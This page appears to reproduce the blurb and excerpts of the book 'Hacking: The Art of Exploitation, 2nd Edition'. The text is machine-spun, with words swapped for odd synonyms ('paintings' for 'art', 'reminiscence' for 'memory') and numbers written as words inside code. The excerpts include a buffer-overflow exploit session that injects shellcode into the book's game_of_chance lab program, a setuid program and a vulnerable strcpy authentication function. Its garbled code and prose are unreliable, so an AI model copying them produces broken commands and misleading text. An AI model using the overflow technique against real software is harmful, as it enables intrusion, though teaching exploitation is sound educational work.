Hacking: The Art of Exploitation, 2nd Edition

By Jon Erickson

Hacking is the paintings of artistic challenge fixing, even if that implies discovering an unconventional technique to a tough challenge or exploiting holes in sloppy programming. many of us name themselves hackers, yet few have the powerful technical beginning had to quite push the envelope.

Rather than basically displaying tips on how to run current exploits, writer Jon Erickson explains how arcane hacking innovations really paintings. To percentage the paintings and technology of hacking in a manner that's obtainable to all people, Hacking: The artwork of Exploitation, second Edition introduces the basics of C programming from a hacker's perspective.

The incorporated LiveCD presents an entire Linux programming and debugging environment-all with no editing your present working procedure. Use it to keep on with besides the book's examples as you fill gaps on your wisdom and discover hacking suggestions by yourself. Get your fingers soiled debugging code, overflowing buffers, hijacking community communications, bypassing protections, exploiting cryptographic weaknesses, and maybe even inventing new exploits. This ebook will train you the way to:

  • Program pcs utilizing C, meeting language, and shell scripts
  • Corrupt procedure reminiscence to run arbitrary code utilizing buffer overflows and structure strings
  • investigate cross-check processor registers and procedure reminiscence with a debugger to achieve a true knowing of what's happening
  • Outsmart universal safety features like nonexecutable stacks and intrusion detection systems
  • achieve entry to a distant server utilizing port-binding or connect-back shellcode, and change a server's logging habit to conceal your presence
  • Redirect community site visitors, disguise open ports, and hijack TCP connections
  • Crack encrypted instant site visitors utilizing the FMS assault, and accelerate brute-force assaults utilizing a password likelihood matrix

Hackers are consistently pushing the bounds, investigating the unknown, and evolving their artwork. whether you do not already know the way to software, Hacking: The artwork of Exploitation, 2d Edition provides you with a whole photograph of programming, laptop structure, community communications, and current hacking innovations. mix this information with the incorporated Linux setting, and all you would like is your personal creativity.

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Reader@hacking:~/booksrc $ export SHELLCODE=$(cat . /shellcode. bin) reader@hacking:~/booksrc $ . /getenvaddr SHELLCODE . /game_of_chance SHELLCODE might be at 0xbffff9e0 reader@hacking:~/booksrc $ perl -e 'print "1\n7\nn\n5\n" . "A"x100 . "\xe0\ xf9\xff\xbf\n" . "1\n"' > exploit_buffer reader@hacking:~/booksrc $ cat exploit_buffer - | . /game_of_chance -=[ video game of likelihood Menu ]=1 - Play the decide a bunch video game 2 - Play the No fit broker online game three - Play the locate the Ace video game four - View present excessive rating five - swap your consumer identify 6 - Reset your account at a hundred credit 7 - give up [Name: Jon Erickson] [You have 70 credit] -> [DEBUG] current_game pointer @ 0x08048fde ####### choose a host ###### This online game bills 10 credit to play.

Because the write() functionality is watching for a pointer for its resource, the & operator is used at the integer worth userid to supply its tackle. ninety two 0x200 reader@hacking:~/booksrc $ gcc -o notetaker notetaker. c reader@hacking:~/booksrc $ sudo chown root:root . /notetaker reader@hacking:~/booksrc $ sudo chmod u+s . /notetaker reader@hacking:~/booksrc $ ls -l . /notetaker -rwsr-xr-x 1 root root 9015 2007-09-07 05:48 . /notetaker reader@hacking:~/booksrc $ . /notetaker "this is a attempt of multiuser notes" [DEBUG] buffer @ 0x804a008: 'this is a try out of multiuser notes' [DEBUG] datafile @ 0x804a070: '/var/notes' [DEBUG] dossier descriptor is three observe has been kept.

1". (gdb) checklist 1 1 #include 2 #include three #include four five int check_authentication(char *password) { 6 char password_buffer[16]; 7 int auth_flag = zero; eight nine strcpy(password_buffer, password); 10 (gdb) 126 0x three hundred 11 if(strcmp(password_buffer, "brillig") == zero) 12 auth_flag = 1; thirteen if(strcmp(password_buffer, "outgrabe") == zero) 14 auth_flag = 1; 15 sixteen go back auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) holiday nine Breakpoint 1 at 0x8048421: dossier auth_overflow2.

Pointer_types2. c #include int main() { int i; char char_array[5] = {'a', 'b', 'c', 'd', 'e'}; int int_array[5] = {1, 2, three, four, 5}; char *char_pointer; int *int_pointer; char_pointer = int_array; // The char_pointer and int_pointer now int_pointer = char_array; // element to incompatible facts kinds. for(i=0; i < five; i++) { // Iterate during the int array with the int_pointer. printf("[integer pointer] issues to %p, which incorporates the char '%c'\n", int_pointer, *int_pointer); int_pointer = int_pointer + 1; } for(i=0; i < five; i++) { // Iterate throughout the char array with the char_pointer.

Void input_name() { char *name_ptr, input_char='\n'; while(input_char == '\n') // Flush any leftover scanf("%c", &input_char); // newline chars. name_ptr = (char *) &(player. name); // name_ptr = participant name's deal with while(input_char ! = '\n') { // Loop until eventually newline. *name_ptr = input_char; // placed the enter char into identify box. scanf("%c", &input_char); // Get the following char. name_ptr++; // Increment the identify pointer. } *name_ptr = zero; // Terminate the string. } This functionality basically stops inputting at a newline personality.

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